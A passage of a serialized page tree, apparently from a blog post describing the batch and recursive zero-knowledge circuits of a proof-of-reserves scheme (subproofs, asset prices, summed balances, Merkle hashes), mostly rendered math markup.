4,"tag":147,"props":100193,"children":100195},{"className":100194},[9660],[100196,100216],{"type":24,"tag":147,"props":100197,"children":100199},{"className":100198,"style":98682},[9665],[100200],{"type":24,"tag":147,"props":100201,"children":100202},{"style":98686},[100203,100207],{"type":24,"tag":147,"props":100204,"children":100206},{"className":100205,"style":9675},[9674],[],{"type":24,"tag":147,"props":100208,"children":100210},{"className":100209},[9680,9681,9682,9683],[100211],{"type":24,"tag":147,"props":100212,"children":100214},{"className":100213},[9635,9683],[100215],{"type":29,"value":3173},{"type":24,"tag":147,"props":100217,"children":100219},{"className":100218},[27347],[100220],{"type":29,"value":27350},{"type":24,"tag":147,"props":100222,"children":100224},{"className":100223},[9660],[100225],{"type":24,"tag":147,"props":100226,"children":100228},{"className":100227,"style":98713},[9665],[100229],{"type":24,"tag":147,"props":100230,"children":100231},{},[],{"type":24,"tag":147,"props":100233,"children":100235},{"className":100234},[9746],[100236],{"type":29,"value":9749},{"type":24,"tag":147,"props":100238,"children":100240},{"className":100239,"style":9753},[9714],[],{"type":24,"tag":147,"props":100242,"children":100244},{"className":100243},[9635,27190],[100245],{"type":29,"value":100098},{"type":24,"tag":147,"props":100247,"children":100249},{"className":100248},[9635,27190],[100250],{"type":29,"value":2203},{"type":24,"tag":147,"props":100252,"children":100254},{"className":100253},[9635],[100255,100260],{"type":24,"tag":147,"props":100256,"children":100258},{"className":100257},[9635,27190],[100259],{"type":29,"value":89928},{"type":24,"tag":147,"props":100261,"children":100263},{"className":100262},[9650],[100264],{"type":24,"tag":147,"props":100265,"children":100267},{"className":100266},[9655,27244],[100268,100297],{"type":24,"tag":147,"props":100269,"children":100271},{"className":100270},[9660],[100272,100292],{"type":24,"tag":147,"props":100273,"children":100275},{"className":100274,"style":98682},[9665],[100276],{"type":24,"tag":147,"props":100277,"children":100278},{"style":98686},[100279,100283],{"type":24,"tag":147,"props":100280,"children":100282},{"className":100281,"style":9675},[9674],[],{"type":24,"tag":147,"props":100284,"children":100286},{"className":100285},[9680,9681,9682,9683],[100287],{"type":24,"tag":147,"props":100288,"children":100290},{"className":100289},[9635,9683],[100291],{"type":29,"value":1154},{"type":24,"tag":147,"props":100293,"children":100295},{"className":100294},[27347],[100296],{"type":29,"value":27350},{"type":24,"tag":147,"props":100298,"children":100300},{"className":100299},[9660],[100301],{"type":24,"tag":147,"props":100302,"children":100304},{"className":100303,"style":98713},[9665],[100305],{"type":24,"tag":147,"props":100306,"children":100307},{},[],{"type":24,"tag":147,"props":100309,"children":100311},{"className":100310},[9746],[100312],{"type":29,"value":9749},{"type":24,"tag":147,"props":100314,"children":100316},{"className":100315},[9714],[100317],{"type":29,"value":27291},{"type":24,"tag":147,"props":100319,"children":100321},{"className":100320,"style":9753},[9714],[],{"type":24,"tag":147,"props":100323,"children":100325},{"className":100324},[9635],[100326],{"type":29,"value":15212},{"type":24,"tag":147,"props":100328,"children":100330},{"className":100329},[9746],[100331],{"type":29,"value":9749},{"type":24,"tag":147,"props":100333,"children":100335},{"className":100334,"style":9753},[9714],[],{"type":24,"tag":147,"props":100337,"children":100339},{"className":100338},[9635,27190],[100340],{"type":29,"value":100098},{"type":24,"tag":147,"props":100342,"children":100344},{"className":100343},[9635,27190],[100345],{"type":29,"value":2203},{"type":24,"tag":147,"props":100347,"children":100349},{"className":100348},[9635],[100350,100355],{"type":24,"tag":147,"props":100351,"children":100353},{"className":100352},[9635,27190],[100354],{"type":29,"value":89928},{"type":24,"tag":147,"props":100356,"children":100358},{"className":100357},[9650],[100359],{"type":24,"tag":147,"props":100360,"children":100362},{"className":100361},[9655,27244],[100363,100397],{"type":24,"tag":147,"props":100364,"children":100366},{"className":100365},[9660],[100367,100392],{"type":24,"tag":147,"props":100368,"children":100370},{"className":100369,"style":98682},[9665],[100371],{"type":24,"tag":147,"props":100372,"children":100373},{"style":98686},[100374,100378],{"type":24,"tag":147,"props":100375,"children":100377},{"className":100376,"style":9675},[9674],[],{"type":24,"tag":147,"props":100379,"children":100381},{"className":100380},[9680,9681,9682,9683],[100382],{"type":24,"tag":147,"props":100383,"children":100385},{"className":100384},[9635,9683],[100386],{"type":24,"tag":147,"props":100387,"children":100389},{"className":100388},[9635,9683],[100390],{"type":29,"value":100391},"511",{"type":24,"tag":147,"props":100393,"children":100395},{"className":100394},[27347],[100396],{"type":29,"value":27350},{"type":24,"tag":147,"props":100398,"children":100400},{"className":100399},[9660],[100401],{"type":24,"tag":147,"props":100402,"children":100404},{"className":100403,"style":98713},[9665],[100405],{"type":24,"tag":147,"props":100406,"children":100407},{},[],{"type":24,"tag":147,"props":100409,"children":100411},{"className":100410},[27341],[100412],{"type":29,"value":8758},{"type":29,"value":12083},{"type":24,"tag":10949,"props":100415,"children":100416},{},[100417],{"type":29,"value":100418},"(merkle tree hash)",{"type":24,"tag":2678,"props":100420,"children":100421},{},[100422,100697,100698,100703,100705,100710],{"type":24,"tag":80,"props":100423,"children":100425},{"className":100424},[9607,9608],[100426],{"type":24,"tag":147,"props":100427,"children":100429},{"className":100428},[9613],[100430],{"type":24,"tag":147,"props":100431,"children":100433},{"className":100432,"ariaHidden":9619},[9618],[100434,100627],{"type":24,"tag":147,"props":100435,"children":100437},{"className":100436},[9624],[100438,100442,100447,100452,100457,100462,100467,100472,100477,100482,100487,100492,100497,100502,100507,100512,100569,100574,100579,100584,100589,100594,100599,100604,100609,100614,100618,100623],{"type":24,"tag":147,"props":100439,"children":100441},{"className":100440,"style":98572},[9629],[],{"type":24,"tag":147,"props":100443,"children":100445},{"className":100444},[9635,27190],[100446],{"type":29,"value":2773},{"type":24,"tag":147,"props":100448,"children":100450},{"className":100449},[9635,27190],[100451],{"type":29,"value":99087},{"type":24,"tag":147,"props":100453,"children":100455},{"className":100454},[9635,27190],[100456],{"type":29,"value":98889},{"type":24,"tag":147,"props":100458,"children":100460},{"className":100459},[9635,27190],[100461],{"type":29,"value":61991},{"type":24,"tag":147,"props":100463,"children":100465},{"className":100464},[9635,27190],[100466],{"type":29,"value":27332},{"type":24,"tag":147,"props":100468,"children":100470},{"className":100469,"style":98630},[9635],[100471],{"type":29,"value":8714},{"type":24,"tag":147,"props":100473,"children":100475},{"className":100474},[9635,27190],[100476],{"type":29,"value":2773},{"type":24,"tag":147,"props":100478,"children":100480},{"className":100479},[9635,27190],[100481],{"type":29,"value":98621},{"type":24,"tag":147,"props":100483,"children":100485},{"className":100484},[9635,27190],[100486],{"type":29,"value":27332},{"type":24,"tag":147,"props":100488,"children":100490},{"className":100489,"style":98630},[9635],[100491],{"type":29,"value":8714},{"type":24,"tag":147,"props":100493,"children":100495},{"className":100494},[9635,27190],[100496],{"type":29,"value":98638},{"type":24,"tag":147,"props":100498,"children":100500},{"className":100499,"style":98642},[9635,27190],[100501],{"type":29,"value":98645},{"type":24,"tag":147,"props":100503,"children":100505},{"className":100504},[9635,27190],[100506],{"type":29,"value":98651},{"type":24,"tag":147,"props":100508,"children":100510},{"className":100509},[9635,27190],[100511],{"type":29,"value":98657},{"type":24,"tag":147,"props":100513,"children":100515},{"className":100514},[9635],[100516,100521],{"type":24,"tag":147,"props":100517,"children":100519},{"className":100518},[9635,27190],[100520],{"type":29,"value":2203},{"type":24,"tag":147,"props":100522,"children":100524},{"className":100523},[9650],[100525],{"type":24,"tag":147,"props":100526,"children":100528},{"className":100527},[9655,27244],[100529,100558],{"type":24,"tag":147,"props":100530,"children":100532},{"className":100531},[9660],[100533,100553],{"type":24,"tag":147,"props":100534,"children":100536},{"className":100535,"style":99159},[9665],[100537],{"type":24,"tag":147,"props":100538,"children":100539},{"style":98686},[100540,100544],{"type":24,"tag":147,"props":100541,"children":100543},{"className":100542,"style":9675},[9674],[],{"type":24,"tag":147,"props":100545,"children":100547},{"className":100546},[9680,9681,9682,9683],[100548],{"type":24,"tag":147,"props":100549,"children":100551},{"className":100550},[9635,27190,9683],[100552],{"type":29,"value":9363},{"type":24,"tag":147,"props":100554,"children":100556},{"className":100555},[27347],[100557],{"type":29,"value":27350},{"type":24,"tag":147,"props":100559,"children":100561},{"className":100560},[9660],[100562],{"type":24,"tag":147,"props":100563,"children":100565},{"className":100564,"style":98713},[9665],[100566],{"type":24,"tag":147,"props":100567,"children":100568},{},[],{"type":24,"tag":147,"props":100570,"children":100572},{"className":100571},[27319],[100573],{"type":29,"value":9358},{"type":24,"tag":147,"props":100575,"children":100577},{"className":100576},[9635,27190],[100578],{"type":29,"value":2773},{"type":24,"tag":147,"props":100580,"children":100582},{"className":100581},[9635,27190],[100583],{"type":29,"value":98621},{"type":24,"tag":147,"props":100585,"children":100587},{"className":100586},[9635,27190],[100588],{"type":29,"value":27332},{"type":24,"tag":147,"props":100590,"children":100592},{"className":100591,"style":98630},[9635],[100593],{"type":29,"value":8714},{"type":24,"tag":147,"props":100595,"children":100597},{"className":100596},[9635,27190],[100598],{"type":29,"value":61991},{"type":24,"tag":147,"props":100600,"children":100602},{"className":100601},[9635,27190],[100603],{"type":29,"value":98889},{"type":24,"tag":147,"props":100605,"children":100607},{"className":100606},[9635,27190],[100608],{"type":29,"value":56728},{"type":24,"tag":147,"props":100610,"children":100612},{"className":100611},[27341],[100613],{"type":29,"value":21023},{"type":24,"tag":147,"props":100615,"children":100617},{"className":100616,"style":9812},[9714],[],{"type":24,"tag":147,"props":100619,"children":100621},{"className":100620},[9817],[100622],{"type":29,"value":3583},{"type":24,"tag":147,"props":100624,"children":100626},{"className":100625,"style":9812},[9714],[],{"type":24,"tag":147,"props":100628,"children":100630},{"className":100629},[9624],[100631,100635,100642,100647,100653,100658,100663,100668,100674,100679,100685,100691],{"type":24,"tag":147,"props":100632,"children":100634},{"className":100633,"style":98572},[9629],[],{"type":24,"tag":147,"props":100636,"children":100639},{"className":100637,"style":100638},[9635,27190],"margin-right:0.10903em;",[100640],{"type":29,"value":100641},"M",{"type":24,"tag":147,"props":100643,"children":100645},{"className":100644},[9635,27190],[100646],{"type":29,"value":82351},{"type":24,"tag":147,"props":100648,"children":100651},{"className":100649,"style":100650},[9635,27190],"margin-right:0.07847em;",[100652],{"type":29,"value":11758},{"type":24,"tag":147,"props":100654,"children":100656},{"className":100655,"style":98630},[9635],[100657],{"type":29,"value":8714},{"type":24,"tag":147,"props":100659,"children":100661},{"className":100660,"style":27649},[9635,27190],[100662],{"type":29,"value":27652},{"type":24,"tag":147,"props":100664,"children":100666},{"className":100665},[9635,27190],[100667],{"type":29,"value":82351},{"type":24,"tag":147,"props":100669,"children":100671},{"className":100670,"style":27649},[9635,27190],[100672],{"type":29,"value":100673},"FE",{"type":24,"tag":147,"props":100675,"children":100677},{"className":100676,"style":98630},[9635],[100678],{"type":29,"value":8714},{"type":24,"tag":147,"props":100680,"children":100682},{"className":100681,"style":100650},[9635,27190],[100683],{"type":29,"value":100684},"I",{"type":24,"tag":147,"props":100686,"children":100688},{"className":100687,"style":27191},[9635,27190],[100689],{"type":29,"value":100690},"NT",{"type":24,"tag":147,"props":100692,"children":100694},{"className":100693},[9635],[100695],{"type":29,"value":100696},"/512",{"type":29,"value":12083},{"type":24,"tag":10949,"props":100699,"children":100700},{},[100701],{"type":29,"value":100702},"(overflow check)",{"type":29,"value":100704}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":24,"tag":80,"props":100706,"children":100708},{"className":100707},[],[100709],{"type":29,"value":98488},{"type":29,"value":8758},{"type":24,"tag":25,"props":100712,"children":100713},{},[100714],{"type":29,"value":100715},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":24,"tag":25,"props":100717,"children":100718},{},[100719],{"type":24,"tag":63,"props":100720,"children":100722},{"alt":56176,"src":100721},"/posts/por/batch-circuit-inputs.png",[],{"type":24,"tag":43,"props":100724,"children":100726},{"id":100725},"recursive-circuit",[100727],{"type":29,"value":100728},"Recursive Circuit",{"type":24,"tag":25,"props":100730,"children":100731},{},[100732],{"type":29,"value":100733},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":24,"tag":25,"props":100735,"children":100736},{},[100737],{"type":24,"tag":10949,"props":100738,"children":100739},{},[100740],{"type":29,"value":99002},{"type":24,"tag":22292,"props":100742,"children":100743},{},[100744,100748,100753],{"type":24,"tag":2678,"props":100745,"children":100746},{},[100747],{"type":29,"value":99020},{"type":24,"tag":2678,"props":100749,"children":100750},{},[100751],{"type":29,"value":100752},"Asset prices",{"type":24,"tag":2678,"props":100754,"children":100755},{},[100756],{"type":29,"value":99015},{"type":24,"tag":25,"props":100758,"children":100759},{},[100760],{"type":24,"tag":10949,"props":100761,"children":100762},{},[100763],{"type":29,"value":99028},{"type":24,"tag":22292,"props":100765,"children":100766},{},[100767],{"type":24,"tag":2678,"props":100768,"children":100769},{},[100770],{"type":29,"value":100771},"8 subproofs",{"type":24,"tag":25,"props":100773,"children":100774},{},[100775],{"type":24,"tag":10949,"props":100776,"children":100777},{},[100778],{"type":29,"value":99049},{"type":24,"tag":22292,"props":100780,"children":100781},{},[100782,101191,101522,101889,102276],{"type":24,"tag":2678,"props":100783,"children":100784},{},[100785,101186,101187],{"type":24,"tag":80,"props":100786,"children":100788},{"className":100787},[9607,9608],[100789],{"type":24,"tag":147,"props":100790,"children":100792},{"className":100791},[9613],[100793],{"type":24,"tag":147,"props":100794,"children":100796},{"className":100795,"ariaHidden":9619},[9618],[100797,100933],{"type":24,"tag":147,"props":100798,"children":100800},{"className":100799},[9624],[100801,100805,100810,100815,100820,100825,100830,100835,100840,100845,100850,100855,100860,100865,100870,100875,100880,100885,100890,100895,100900,100905,100910,100915,100920,100924,100929],{"type":24,"tag":147,"props":100802,"children":100804},{"className":100803,"style":98572},[9629],[],{"type":24,"tag":147,"props":100806,"children":100808},{"className":100807},[9635,27190],[100809],{"type":29,"value":27332},{"type":24,"tag":147,"props":100811,"children":100813},{"className":100812},[9635,27190],[100814],{"type":29,"value":98600},{"type":24,"tag":147,"props":100816,"children":100818},{"className":100817},[9635,27190],[100819],{"type":29,"value":27332},{"type":24,"tag":147,"props":100821,"children":100823},{"className":100822},[9635,27190],[100824],{"type":29,"value":2773},{"type":24,"tag":147,"props":100826,"children":100828},{"className":100827,"style":98642},[9635,27190],[100829],{"type":29,"value":98645},{"type":24,"tag":147,"props":100831,"children":100833},{"className":100832,"style":98630},[9635],[100834],{"type":29,"value":8714},{"type":24,"tag":147,"props":100836,"children":100838},{"className":100837},[9635,27190],[100839],{"type":29,"value":2773},{"type":24,"tag":147,"props":100841,"children":100843},{"className":100842},[9635,27190],[100844],{"type":29,"value":98621},{"type":24,"tag":147,"props":100846,"children":100848},{"className":100847},[9635,27190],[100849],{"type":29,"value":27332},{"type":24,"tag":147,"props":100851,"children":100853},{"className":100852,"style":98630},[9635],[100854],{"type":29,"value":8714},{"type":24,"tag":147,"props":100856,"children":100858},{"className":100857},[9635,27190],[100859],{"type":29,"value":98638},{"type":24,"tag":147,"props":100861,"children":100863},{"className":100862,"style":98642},[9635,27190],[100864],{"type":29,"value":98645},{"type":24,"tag":147,"props":100866,"children":100868},{"className":100867},[9635,27190],[100869],{"type":29,"value":98651},{"type":24,"tag":147,"props":100871,"children":100873},{"className":100872},[9635,27190],[100874],{"type":29,"value":98657},{"type":24,"tag":147,"props":100876,"children":100878},{"className":100877},[27319],[100879],{"type":29,"value":9358},{"type":24,"tag":147,"props":100881,"children":100883},{"className":100882},[9635,27190],[100884],{"type":29,"value":2773},{"type":24,"tag":147,"props":100886,"children":100888},{"className":100887},[9635,27190],[100889],{"type":29,"value":98621},{"type":24,"tag":147,"props":100891,"children":100893},{"className":100892},[9635,27190],[100894],{"type":29,"value":27332},{"type":24,"tag":147,"props":100896,"children":100898},{"className":100897,"style":98630},[9635],[100899],{"type":29,"value":8714},{"type":24,"tag":147,"props":100901,"children":100903},{"className":100902},[9635,27190],[100904],{"type":29,"value":61991},{"type":24,"tag":147,"props":100906,"children":100908},{"className":100907},[9635,27190],[100909],{"type":29,"value":98889},{"type":24,"tag":147,"props":100911,"children":100913},{"className":100912},[9635,27190],[100914],{"type":29,"value":56728},{"type":24,"tag":147,"props":100916,"children":100918},{"className":100917},[27341],[100919],{"type":29,"value":21023},{"type":24,"tag":147,"props":100921,"children":100923},{"className":100922,"style":9812},[9714],[],{"type":24,"tag":147,"props":100925,"children":100927},{"className":100926},[9817],[100928],{"type":29,"value":6600},{"type":24,"tag":147,"props":100930,"children":100932},{"className":100931,"style":9812},[9714],[],{"type":24,"tag":147,"props":100934,"children":100936},{"className":100935},[9624],[100937,100941,100946,100951,100956,100961,100966,100971,100977,101036,101041,101046,101051,101056,101061,101066,101071,101076,101081,101086,101091,101096,101101,101106,101111,101116,101121,101126,101131,101136,101141,101146,101151,101156,101161,101166,101171,101176,101181],{"type":24,"tag":147,"props":100938,"children":100940},{"className":100939,"style":98572},[9629],[],{"type":24,"tag":147,"props":100942,"children":100944},{"className":100943},[9635],[100945],{"type":29,"value":99220},{"type":24,"tag":147,"props":100947,"children":100949},{"className":100948},[9714],[100950],{"type":29,"value":27291},{"type":24,"tag":147,"props":100952,"children":100954},{"className":100953},[9635,27190],[100955],{"type":29,"value":2203},{"type":24,"tag":147,"props":100957,"children":100959},{"className":100958},[9635,27190],[100960],{"type":29,"value":98889},{"type":24,"tag":147,"props":100962,"children":100964},{"className":100963},[9635,27190],[100965],{"type":29,"value":8852},{"type":24,"tag":147,"props":100967,"children":100969},{"className":100968},[9635,27190],[100970],{"type":29,"value":25},{"type":24,"tag":147,"props":100972,"children":100974},{"className":100973},[9635,27190],[100975],{"type":29,"value":100976},"roo",{"type":24,"tag":147,"props":100978,"children":100980},{"className":100979},[9635],[100981,100987],{"type":24,"tag":147,"props":100982,"children":100985},{"className":100983,"style":100984},[9635,27190],"margin-right:0.10764em;",[100986],{"type":29,"value":6999},{"type":24,"tag":147,"props":100988,"children":100990},{"className":100989},[9650],[100991],{"type":24,"tag":147,"props":100992,"children":100994},{"className":100993},[9655,27244],[100995,101025],{"type":24,"tag":147,"props":100996,"children":100998},{"className":100997},[9660],[100999,101020],{"type":24,"tag":147,"props":101000,"children":101002},{"className":101001,"style":99159},[9665],[101003],{"type":24,"tag":147,"props":101004,"children":101006},{"style":101005},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[101007,101011],{"type":24,"tag":147,"props":101008,"children":101010},{"className":101009,"style":9675},[9674],[],{"type":24,"tag":147,"props":101012,"children":101014},{"className":101013},[9680,9681,9682,9683],[101015],{"type":24,"tag":147,"props":101016,"children":101018},{"className":101017},[9635,27190,9683],[101019],{"type":29,"value":9363},{"type":24,"tag":147,"props":101021,"children":101023},{"className":101022},[27347],[101024],{"type":29,"value":27350},{"type":24,"tag":147,"props":101026,"children":101028},{"className":101027},[9660],[101029],{"type":24,"tag":147,"props":101030,"children":101032},{"className":101031,"style":98713},[9665],[101033],{"type":24,"tag":147,"props":101034,"children":101035},{},[],{"type":24,"tag":147,"props":101037,"children":101039},{"className":101038},[9635],[101040],{"type":29,"value":87},{"type":24,"tag":147,"props":101042,"children":101044},{"className":101043},[9635,27190],[101045],{"type":29,"value":25},{"type":24,"tag":147,"props":101047,"children":101049},{"className":101048},[9635,27190],[101050],{"type":29,"value":98889},{"type":24,"tag":147,"props":101052,"children":101054},{"className":101053},[9635,27190],[101055],{"type":29,"value":8852},{"type":24,"tag":147,"props":101057,"children":101059},{"className":101058,"style":98642},[9635,27190],[101060],{"type":29,"value":98645},{"type":24,"tag":147,"props":101062,"children":101064},{"className":101063},[9635,27190],[101065],{"type":29,"value":9363},{"type":24,"tag":147,"props":101067,"children":101069},{"className":101068},[9635,27190],[101070],{"type":29,"value":140},{"type":24,"tag":147,"props":101072,"children":101074},{"className":101073,"style":98630},[9635],[101075],{"type":29,"value":8714},{"type":24,"tag":147,"props":101077,"children":101079},{"className":101078},[9635,27190],[101080],{"type":29,"value":1709},{"type":24,"tag":147,"props":101082,"children":101084},{"className":101083},[9635,27190],[101085],{"type":29,"value":25},{"type":24,"tag":147,"props":101087,"children":101089},{"className":101088},[9635,27190],[101090],{"type":29,"value":98889},{"type":24,"tag":147,"props":101092,"children":101094},{"className":101093},[9635,27190],[101095],{"type":29,"value":27332},{"type":24,"tag":147,"props":101097,"children":101099},{"className":101098},[9635],[101100],{"type":29,"value":87},{"type":24,"tag":147,"props":101102,"children":101104},{"className":101103},[9635,27190],[101105],{"type":29,"value":2773},{"type":24,"tag":147,"props":101107,"children":101109},{"className":101108},[9635,27190],[101110],{"type":29,"value":98621},{"type":24,"tag":147,"props":101112,"children":101114},{"className":101113},[9635,27190],[101115],{"type":29,"value":27332},{"type":24,"tag":147,"props":101117,"children":101119},{"className":101118,"style":98630},[9635],[101120],{"type":29,"value":8714},{"type":24,"tag":147,"props":101122,"children":101124},{"className":101123},[9635,27190],[101125],{"type":29,"value":98638},{"type":24,"tag":147,"props":101127,"children":101129},{"className":101128,"style":98642},[9635,27190],[101130],{"type":29,"value":98645},{"type":24,"tag":147,"props":101132,"children":101134},{"className":101133},[9635,27190],[101135],{"type":29,"value":98651},{"type":24,"tag":147,"props":101137,"children":101139},{"className":101138},[9635,27190],[101140],{"type":29,"value":99460},{"type":24,"tag":147,"props":101142,"children":101144},{"className":101143},[27319],[101145],{"type":29,"value":9358},{"type":24,"tag":147,"props":101147,"children":101149},{"className":101148},[9635,27190],[101150],{"type":29,"value":2773},{"type":24,"tag":147,"props":101152,"children":101154},{"className":101153},[9635,27190],[101155],{"type":29,"value":98621},{"type":24,"tag":147,"props":101157,"children":101159},{"className":101158},[9635,27190],[101160],{"type":29,"value":27332},{"type":24,"tag":147,"props":101162,"children":101164},{"className":101163,"style":98630},[9635],[101165],{"type":29,"value":8714},{"type":24,"tag":147,"props":101167,"children":101169},{"className":101168},[9635,27190],[101170],{"type":29,"value":61991},{"type":24,"tag":147,"props":101172,"children":101174},{"className":101173},[9635,27190],[101175],{"type":29,"value":98889},{"type":24,"tag":147,"props":101177,"children":101179},{"className":101178},[9635,27190],[101180],{"type":29,"value":56728},{"type":24,"tag":147,"props":101182,"children":101184},{"className":101183},[27341],[101185],{"type":29,"value":21023},{"type":29,"value":12083},{"type":24,"tag":10949,"props":101188,"children":101189},{},[101190],{"type":29,"value":100020},{"type":24,"tag":2678,"props":101192,"children":101193},{},[101194],{"type":24,"tag":80,"props":101195,"children":101197},{"className":101196},[9607,9608],[101198],{"type":24,"tag":147,"props":101199,"children":101201},{"className":101200},[9613],[101202],{"type":24,"tag":147,"props":101203,"children":101205},{"className":101204,"ariaHidden":9619},[9618],[101206,101312],{"type":24,"tag":147,"props":101207,"children":101209},{"className":101208},[9624],[101210,101214,101219,101224,101229,101234,101239,101244,101249,101254,101259,101264,101269,101274,101279,101284,101289,101294,101299,101303,101308],{"type":24,"tag":147,"props":101211,"children":101213},{"className":101212,"style":98572},[9629],[],{"type":24,"tag":147,"props":101215,"children":101217},{"className":101216},[9635,27190],[101218],{"type":29,"value":2773},{"type":24,"tag":147,"props":101220,"children":101222},{"className":101221},[9635,27190],[101223],{"type":29,"value":98621},{"type":24,"tag":147,"props":101225,"children":101227},{"className":101226},[9635,27190],[101228],{"type":29,"value":27332},{"type":24,"tag":147,"props":101230,"children":101232},{"className":101231,"style":98630},[9635],[101233],{"type":29,"value":8714},{"type":24,"tag":147,"props":101235,"children":101237},{"className":101236},[9635,27190],[101238],{"type":29,"value":25},{"type":24,"tag":147,"props":101240,"children":101242},{"className":101241,"style":98630},[9635,27190],[101243],{"type":29,"value":99449},{"type":24,"tag":147,"props":101245,"children":101247},{"className":101246},[9635,27190],[101248],{"type":29,"value":9363},{"type":24,"tag":147,"props":101250,"children":101252},{"className":101251},[9635,27190],[101253],{"type":29,"value":98657},{"type":24,"tag":147,"props":101255,"children":101257},{"className":101256},[27319],[101258],{"type":29,"value":9358},{"type":24,"tag":147,"props":101260,"children":101262},{"className":101261},[9635,27190],[101263],{"type":29,"value":2773},{"type":24,"tag":147,"props":101265,"children":101267},{"className":101266},[9635,27190],[101268],{"type":29,"value":98621},{"type":24,"tag":147,"props":101270,"children":101272},{"className":101271},[9635,27190],[101273],{"type":29,"value":27332},{"type":24,"tag":147,"props":101275,"children":101277},{"className":101276,"style":98630},[9635],[101278],{"type":29,"value":8714},{"type":24,"tag":147,"props":101280,"children":101282},{"className":101281},[9635,27190],[101283],{"type":29,"value":61991},{"type":24,"tag":147,"props":101285,"children":101287},{"className":101286},[9635,27190],[101288],{"type":29,"value":98889},{"type":24,"tag":147,"props":101290,"children":101292},{"className":101291},[9635,27190],[101293],{"type":29,"value":56728},{"type":24,"tag":147,"props":101295,"children":101297},{"className":101296},[27341],[101298],{"type":29,"value":21023},{"type":24,"tag":147,"props":101300,"children":101302},{"className":101301,"style":9812},[9714],[],{"type":24,"tag":147,"props":101304,"children":101306},{"className":101305},[9817],[101307],{"type":29,"value":6600},{"type":24,"tag":147,"props":101309,"children":101311},{"className":101310,"style":9812},[9714],[],{"type":24,"tag":147,"props":101313,"children":101315},{"className":101314},[9624],[101316,101320,101325,101330,101335,101340,101345,101402,101407,101412,101417,101422,101427,101432,101437,101442,101447,101452,101457,101462,101467,101472,101477,101482,101487,101492,101497,101502,101507,101512,101517],{"type":24,"tag":147,"props":101317,"children":101319},{"className":101318,"style":98572},[9629],[],{"type":24,"tag":147,"props":101321,"children":101323},{"className":101322},[9635,27190],[101324],{"type":29,"value":2203},{"type":24,"tag":147,"props":101326,"children":101328},{"className":101327},[9635,27190],[101329],{"type":29,"value":98889},{"type":24,"tag":147,"props":101331,"children":101333},{"className":101332},[9635,27190],[101334],{"type":29,"value":8852},{"type":24,"tag":147,"props":101336,"children":101338},{"className":101337},[9635,27190],[101339],{"type":29,"value":25},{"type":24,"tag":147,"props":101341,"children":101343},{"className":101342},[9635,27190],[101344],{"type":29,"value":100976},{"type":24,"tag":147,"props":101346,"children":101348},{"className":101347},[9635],[101349,101354],{"type":24,"tag":147,"props":101350,"children":101352},{"className":101351,"style":100984},[9635,27190],[101353],{"type":29,"value":6999},{"type":24,"tag":147,"props":101355,"children":101357},{"className":101356},[9650],[101358],{"type":24,"tag":147,"props":101359,"children":101361},{"className":101360},[9655,27244],[101362,101391],{"type":24,"tag":147,"props":101363,"children":101365},{"className":101364},[9660],[101366,101386],{"type":24,"tag":147,"props":101367,"children":101369},{"className":101368,"style":99159},[9665],[101370],{"type":24,"tag":147,"props":101371,"children":101372},{"style":101005},[101373,101377],{"type":24,"tag":147,"props":101374,"children":101376},{"className":101375,"style":9675},[9674],[],{"type":24,"tag":147,"props":101378,"children":101380},{"className":101379},[9680,9681,9682,9683],[101381],{"type":24,"tag":147,"props":101382,"children":101384},{"className":101383},[9635,27190,9683],[101385],{"type":29,"value":9363},{"type":24,"tag":147,"props":101387,"children":101389},{"className":101388},[27347],[101390],{"type":29,"value":27350},{"type":24,"tag":147,"props":101392,"children":101394},{"className":101393},[9660],[101395],{"type":24,"tag":147,"props":101396,"children":101398},{"className":101397,"style":98713},[9665],[101399],{"type":24,"tag":147,"props":101400,"children":101401},{},[],{"type":24,"tag":147,"props":101403,"children":101405},{"className":101404},[9635],[101406],{"type":29,"value":87},{"type":24,"tag":147,"props":101408,"children":101410},{"className":101409},[9635,27190],[101411],{"type":29,"value":25},{"type":24,"tag":147,"props":101413,"children":101415},{"className":101414},[9635,27190],[101416],{"type":29,"value":98889},{"type":24,"tag":147,"props":101418,"children":101420},{"className":101419},[9635,27190],[101421],{"type":29,"value":8852},{"type":24,"tag":147,"props":101423,"children":101425},{"className":101424,"style":98642},[9635,27190],[101426],{"type":29,"value":98645},{"type":24,"tag":147,"props":101428,"children":101430},{"className":101429},[9635,27190],[101431],{"type":29,"value":9363},{"type":24,"tag":147,"props":101433,"children":101435},{"className":101434},[9635,27190],[101436],{"type":29,"value":140},{"type":24,"tag":147,"props":101438,"children":101440},{"className":101439,"style":98630},[9635],[101441],{"type":29,"value":8714},{"type":24,"tag":147,"props":101443,"children":101445},{"className":101444},[9635,27190],[101446],{"type":29,"value":1709},{"type":24,"tag":147,"props":101448,"children":101450},{"className":101449},[9635,27190],[101451],{"type":29,"value":25},{"type":24,"tag":147,"props":101453,"children":101455},{"className":101454},[9635,27190],[101456],{"type":29,"value":98889},{"type":24,"tag":147,"props":101458,"children":101460},{"className":101459},[9635,27190],[101461],{"type":29,"value":27332},{"type":24,"tag":147,"props":101463,"children":101465},{"className":101464},[9635],[101466],{"type":29,"value":87},{"type":24,"tag":147,"props":101468,"children":101470},{"className":101469},[9635,27190],[101471],{"type":29,"value":2773},{"type":24,"tag":147,"props":101473,"children":101475},{"className":101474},[9635,27190],[101476],{"type":29,"value":98621},{"type":24,"tag":147,"props":101478,"children":101480},{"className":101479},[9635,27190],[101481],{"type":29,"value":27332},{"type":24,"tag":147,"props":101483,"children":101485},{"className":101484,"style":98630},[9635],[101486],{"type":29,"value":8714},{"type":24,"tag":147,"props":101488,"children":101490},{"className":101489},[9635,27190],[101491],{"type":29,"value":25},{"type":24,"tag":147,"props":101493,"children":101495},{"className":101494,"style":98630},[9635,27190],[101496],{"type":29,"value":99449},{"type":24,"tag":147,"props":101498,"children":101500},{"className":101499},[9635,27190],[101501],{"type":29,"value":9363},{"type":24,"tag":147,"props":101503,"children":101505},{"className":101504},[9635,27190],[101506],{"type":29,"value":99460},{"type":24,"tag":147,"props":101508,"children":101510},{"className":101509},[27319],[101511],{"type":29,"value":9358},{"type":24,"tag":147,"props":101513,"children":101515},{"className":101514},[9635],[101516],{"type":29,"value":3173},{"type":24,"tag":147,"props":101518,"children":101520},{"className":101519},[27341],[101521],{"type":29,"value":21023},{"type":24,"tag":2678,"props":101523,"children":101524},{},[101525,101883,101884],{"type":24,"tag":80,"props":101526,"children":101528},{"className":101527},[960